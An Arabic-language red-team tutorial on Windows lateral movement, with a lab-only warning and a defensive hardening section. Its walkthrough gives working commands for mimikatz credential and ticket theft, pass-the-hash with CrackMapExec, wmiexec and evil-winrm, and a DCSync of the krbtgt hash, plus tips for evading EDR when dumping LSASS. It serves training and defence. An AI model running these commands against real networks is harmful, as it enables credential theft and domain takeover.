الفرق الحمراء — الهجومخبير95mL47

Lateral Movement — تتنقّل من غير ضوضا

PtH و PsExec و WMI و WinRM و SOCKS و Chisel و Ligolo-ng

#Lateral Movement#PsExec#WMI#PtH#Pivoting

من جهاز واحد للـ domain كله — السكة بتتفتح إزاي؟

تشبيه — شرح مبسط
حرامي دخل أوضة في فندق. الباب اللي وراه بيفتح على ممر فيه 100 أوضة. لقى مفتاح master على الكومودينو. قام يجرّبه على كل أوضة. لقى منهم 30 بيفتحوا. في الـ 30 دول لقى credit cards، passports، والأهم — مفتاح الـ penthouse. - طب يا حضرتك ما يكسر باب الـ penthouse من الأول؟؟ يا نجم الجيل.. الباب ده مدرّع. الـ adversary مش بيكسر، هو بيستلف مفاتيح. ده الـ lateral movement: جهاز واحد، credentials، شبكة مفتوحة من جوّه، وصبر.

طب ليه ما يوصلش الـ adversary لـ Domain Admin من أول جهاز؟ لأن أول جهاز عادةً workstation موظف عادي، مش عليه DA session. يبقى لازم ينطّ لجهاز تاني، ولثالث، ورابع — ويلمّ creds في كل وقفة، لحد ما يلاقي workstation عليها admin بيشتغل، أو server بيعمل scheduled task بـ DA creds.

Lateral Movement = ATT&CK TA0008. الصبر هنا مش رفاهية. ده الشغل نفسه. في APT incidents حقيقية (Mandiant data)، الـ dwell time قبل ما الـ adversary يوصل DC ممكن يوصل أسابيع. مش ساعات.

أدوات الحركة — اللي بتلعب بيهم فعلاً

بروتوكولات Windows أصلية
  • SMB (445) — PsExec, smbexec
  • WMI (135 + ephemeral) — wmiexec
  • WinRM (5985/5986) — Invoke-Command
  • RDP (3389) — أبسط لكن الأكثر مراقبة
  • DCOM — أقل صخباً، MMC20.Application
Pivoting / Tunneling
  • Chisel — TCP/UDP عبر HTTP
  • Ligolo-ng — أحدث، أداء عالٍ
  • SOCKS5 via SSH أو proxychains
  • Sliver / Cobalt Strike — pivot listeners

Pass-the-Hash و Pass-the-Ticket

01
ما هي PtH؟
NTLM يستخدم hash كمفتاح authentication، ليس كلمة المرور. لو سرقت hash من LSASS، لا تحتاج لكسره — ابعثه مباشرة كأنك تعرف كلمة السر.
bash
# باستخدام impacket
psexec.py -hashes :ntlm-hash-here corp.local/Administrator@10.0.0.50
02
Pass-the-Ticket
Kerberos أصعب لكن أقل ضوضاء. سرقة TGT أو TGS من ذاكرة عملية، ثم حقنها في session مختلف.
bash
# تصدير TGTs
mimikatz # sekurlsa::tickets /export

# على آلة مختلفة
mimikatz # kerberos::ptt c:\temp\target.kirbi
psexec.exe \\dc01 cmd

Walkthrough: من workstation إلى DC

01
جمع الاعتمادات على الجهاز الحالي
bash
# بعد SYSTEM (انظر windows-privesc)
mimikatz # sekurlsa::logonpasswords
# أو
secretsdump.py -system SYSTEM -sam SAM LOCAL
02
استكشاف الشبكة
bash
# CrackMapExec — الأداة الذهبية للحركة الجانبية
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --shares
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --lsa  # dump SAM/LSA

# اكتشف الأجهزة التي قبلت الاعتماد
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash | grep "(Pwn3d!)"
03
انتقل إلى الجهاز التالي
bash
# WMI execution — يتجاوز PsExec في معظم EDRs
wmiexec.py corp/admin@10.0.0.55 -hashes :hash

# أو WinRM
evil-winrm -i 10.0.0.55 -u admin -H hash
04
ابحث عن session لـ Domain Admin
bash
# BloodHound يكشف من سجل دخوله أين
# Cypher: MATCH p=(u:User {admincount:true})-[:HasSession]->(c:Computer) RETURN p
# لو جهازك pwn3d وجد عليه DA session = اقترب
05
DCSync — السحب النهائي
bash
# لو وصلت لـ DA أو user عنده DCSync rights
secretsdump.py -just-dc-user 'corp\krbtgt' corp/da@dc01
# الحصول على krbtgt hash = Golden Ticket = ملك للنطاق
قبل ما تجرّب
الكلام ده كله في lab AD معزول. لو جرّبته على شبكة شغل من غير تصريح كتابي، ده مش red teaming، ده crime. GOAD على GitHub بببلاش، بيتركّب في ساعة، وفيه كل الـ misconfigurations اللي محتاج تتمرّن عليها. مفيش عذر.
غلطات الـ junior
  • بيستخدم psexec في كل مكان. psexec بيكتب service جديدة كل مرة — الـ EDR شايفه من المريخ.
  • بيـ dump LSASS بـ procdump مباشرة. ده signature معروف من 10 سنين. استخدم comsvcs.dll أو nanodump.
  • بيستعجل في الـ DCSync. الـ replication traffic من workstation = أكبر red flag في الـ event log.
الحماية — اكسر السكة قبل ما يخلصها
  • الـ Tier model: DCs لا يقبلوا creds من workstations. ولا حتى للـ helpdesk. Tier 0 مقدّس.
  • اقفل NTLM لو قدرت. Kerberos بس. NTLM = هدية للـ adversary.
  • LAPS لكل local admin password — كل جهاز كلمة فريدة. كده الـ pass-the-hash من جهاز ما يفتحش جهاز تاني.
  • اقفل SMB بين workstations. ليه workstation يكلّم workstation تاني على 445 أصلاً؟ مفيش سبب شرعي.
  • Network segmentation حقيقي. VLANs + internal firewalls، مش بس على ورق.
  • Honey accounts بأسماء مغرية (svc_backup, sql_admin) — أي logon attempt عليهم = alert فوري.
  • راقب EventID 4624 type 3 من workstations لـ servers خارج الـ baseline. الـ UEBA بيلاقطها.
الخلاصة الناشفة
الـ lateral movement مش tool واحد. ده mindset. الـ adversary بيتحرّك زي الميّه — بيلاقي أرخى نقطة في المنظومة ويعدّي منها. اكتبها على ظهر إيدك: BloodHound مش tool للـ red team. هو tool للـ blue team أكتر. لو إنت ما رسمتش الـ attack paths في شبكتك قبل الـ adversary، يبقى أنت ونصيبك.

مصادر

  • SpecterOps — An ACE Up The Sleeve
  • BloodHound documentation — attack paths
  • MITRE ATT&CK — TA0008 Lateral Movement
  • GOAD lab — github.com/Orange-Cyberdefense/GOAD